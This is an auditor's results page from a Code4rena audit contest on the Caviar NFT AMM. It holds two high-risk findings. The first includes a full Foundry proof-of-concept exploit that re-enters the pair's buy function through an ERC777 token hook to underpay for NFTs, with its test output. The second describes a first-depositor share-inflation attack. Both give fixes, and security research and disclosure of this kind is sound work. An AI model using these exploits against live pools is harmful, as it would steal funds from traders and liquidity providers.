Caviar contest - KingNFT's results

A fully on-chain NFT AMM that allows you to trade every NFT in a collection.

General Information

Platform: Code4rena

Start Date: 12/12/2022

Pot Size: $36,500 USDC

Total HM: 8

Participants: 103

Period: 7 days

Judge: berndartmueller

Id: 193

League: ETH

Caviar

Findings Distribution

Researcher Performance

Rank: 14/103

Findings: 2

Award: $757.97

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: carlitox477

Also found by: 9svR6w, KingNFT, Lambda, cccz, cozzetti, gzeon, koxuan, minhquanym, rvierdiiev

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-343

Awards

750.9785 USDC - $750.98

External Links

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L172

Vulnerability details

Impact

The pair contract is susceptible to reentrancy attack while the base token is an ERC777 token such as imBTC. An attacker can exploit it to save significant cost for buying NFT or fractionalToken.

Proof of Concept

The following test case is based on fork of Ethereum mainnet at height 16205002. The pair consists of BAYC and imBTC, and the initial supply of the pool is 10 imBTC and 10 BAYC NFTs. And the attacker want to buy 5 NFTs. We can see, by reentrancy attack, the attacker can save about 25% cost than normal buy.

Full test script

// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "openzeppelin/token/ERC777/ERC777.sol"; import "openzeppelin/token/ERC777/IERC777Sender.sol"; import "solmate/tokens/ERC20.sol"; import "solmate/tokens/ERC721.sol"; import "../src/Caviar.sol"; import "../src/Pair.sol"; import "./shared/mocks/MockERC721.sol"; contract Attacker is IERC777Sender, ERC721TokenReceiver { uint public toId; uint public currentId; Pair public pair; function buy(Pair _pair, uint _fromId, uint _toId) external { pair = _pair; currentId = _fromId; toId = _toId; ERC20(_pair.baseToken()).approve(address(_pair), type(uint).max); uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = currentId; pair.nftBuy(tokenIds, type(uint256).max); } function tokensToSend( address, address, address, uint256, bytes calldata, bytes calldata ) external { if (currentId >= toId) return; ++currentId; uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = currentId; pair.nftBuy(tokenIds, type(uint256).max); } } contract ReentrancyToManipulatePrice is Test { uint256 public activeFork; ERC777 public imBTC = ERC777(0x3212b29E33587A00FB1C83346f5dBFA69A458923); address public rich = 0x3b938E9525e14361091ee464D8AceC291b3caE50; IERC1820Registry public constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 public constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender"); Attacker public attacker; address public user = address(0x5678); Pair public pair; Caviar public caviar; MockERC721 public bayc; function setUp() public virtual { activeFork = vm.createSelectFork("https://rpc.ankr.com/eth", 16205002); caviar = new Caviar(); bayc = new MockERC721("yeet", "YEET"); pair = caviar.create(address(bayc), address(imBTC), bytes32(0)); assertTrue(address(pair) != address(0), "Should have deployed pair"); attacker = new Attacker(); vm.startPrank(rich); imBTC.transfer(address(attacker), 100e8); imBTC.transfer(user, 100e8); vm.stopPrank(); assertEq(imBTC.balanceOf(address(attacker)), 100e8); assertEq(imBTC.balanceOf(user), 100e8); uint256[] memory tokenIds = new uint256[](10); for (uint i = 1; i <= 10; ++i) { bayc.mint(user, i); tokenIds[i-1] = i; } bytes32[][] memory proofs = new bytes32[][](0); vm.startPrank(user); imBTC.approve(address(pair), type(uint256).max); bayc.setApprovalForAll(address(pair), true); pair.nftAdd(10e8, tokenIds, 0, proofs); vm.stopPrank(); assertEq(imBTC.balanceOf(address(pair)), 10e8); assertEq(ERC20(pair).balanceOf(address(pair)), 10e18); for (uint i = 11; i <= 20; ++i) { bayc.mint(address(attacker), i); } vm.label(address(imBTC), "imBTC"); vm.label(address(caviar), "caviar"); vm.label(address(bayc), "bayc"); vm.label(address(pair), "pair"); vm.label(address(attacker), "attacker"); } function testSingleNormalBuyForFiveNFTs() external { uint256 balanceBefore = imBTC.balanceOf(address(attacker)); uint256[] memory tokenIds = new uint256[](5); for (uint i = 1; i <= 5; ++i) { tokenIds[i-1] = i; } vm.startPrank(address(attacker)); imBTC.approve(address(pair), type(uint256).max); pair.nftBuy(tokenIds, type(uint256).max); vm.stopPrank(); uint256 balanceAfter = imBTC.balanceOf(address(attacker)); uint256 cost = balanceBefore - balanceAfter; assertTrue(cost > 10e8); console.log("imBTC cost", cost); } function testFiveNormalBuysForOneNFTEachTime() external { uint256 balanceBefore = imBTC.balanceOf(address(attacker)); vm.prank(address(attacker)); imBTC.approve(address(pair), type(uint256).max); for (uint i = 1; i <= 5; ++i) { uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = i; vm.prank(address(attacker)); pair.nftBuy(tokenIds, type(uint256).max); } uint256 balanceAfter = imBTC.balanceOf(address(attacker)); uint256 cost = balanceBefore - balanceAfter; assertTrue(cost > 10e8); console.log("imBTC cost", cost); } function testFiveReentrancyBuysForOneNFTEachTime() external { vm.prank(address(attacker)); _ERC1820_REGISTRY.setInterfaceImplementer(address(attacker), _TOKENS_SENDER_INTERFACE_HASH, address(attacker)); uint256 balanceBefore = imBTC.balanceOf(address(attacker)); uint256 baycBefore = bayc.balanceOf(address(attacker)); attacker.buy(pair, 1, 5); uint256 baycAfter = bayc.balanceOf(address(attacker)); assertEq(baycAfter - baycBefore, 5); uint256 balanceAfter = imBTC.balanceOf(address(attacker)); uint256 cost = balanceBefore - balanceAfter; assertTrue(cost < 7.5e8); console.log("imBTC cost ", cost); } }

Put it into a new ReentrancyToManipulatePrice.t.sol file of test directory and run

forge test -vv

Related output

Running 3 tests for test/ReentrancyToManipulatePrice.t.sol:ReentrancyToManipulatePrice [PASS] testFiveNormalBuysForOneNFTEachTime() (gas: 320729) Logs: imBTC cost 1003888458 [PASS] testFiveReentrancyBuysForOneNFTEachTime() (gas: 413580) Logs: imBTC cost 747878554 [PASS] testSingleNormalBuyForFiveNFTs() (gas: 192037) Logs: imBTC cost 1003009027 Test result: ok. 3 passed; 0 failed; finished in 674.53ms

Tools Used

foundry

Add reentrancy protection for buy() function.

#0 - c4-judge

2022-12-29T11:34:15Z

berndartmueller marked the issue as duplicate of #343

#1 - c4-judge

2023-01-13T11:51:06Z

berndartmueller changed the severity to 3 (High Risk)

#2 - c4-judge

2023-01-13T11:51:44Z

berndartmueller marked the issue as satisfactory

Awards

6.9881 USDC - $6.99

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-442

External Links

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L426

Vulnerability details

Impact

This is a common problem with vault-like contracts. Where an early user can manipulate the price per share and profit from late users' provide because of the precision loss. And the first providers is also able to block anybody with fewer funds than them from providing liquidity to the pool.

Proof of Concept

<1> Attack verctor 1: steal funds from later depositors A malicious first user add 1 wei of baseToken and 1 wei of fractionalToken , and get 1 wei of LP token. Then the attacker can send 1e18 of baseToken and 1e18 of fractionalToken to inflate the price per LP Token from 1 to 1e18 + 1 .

As a result, the future user who provides 2e18 baseToken and 2e18 fractionalToken will only receive 1 wei (from 2e18 * 1 / (1e18 + 1) of LP token.

They will lose 1e18 or half of their provide if they remove liquidity.

<2> Attack verctor 2: block users with low funds from providing liquidity A malicious first user add 1 wei of baseToken and 1 wei of fractionalToken , and get 1 wei of LP token. Then the attacker can send 10000e18 of baseToken to inflate the baseToken price per LP Token from 1 to an extreme value of 10000e18 + 1 .

As a result, the future user who have less than 10000e18 of baseToken can not provide liquidity.

Tools Used

Manually review

Uniswap had the same issue with their V2 contracts. They solved it by sending the first 1000 shares to the zero address: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L121

#0 - c4-judge

2022-12-28T12:53:04Z

berndartmueller marked the issue as duplicate of #442

#1 - c4-judge

2023-01-10T09:16:07Z

berndartmueller changed the severity to 3 (High Risk)

#2 - c4-judge

2023-01-10T09:16:11Z

berndartmueller marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter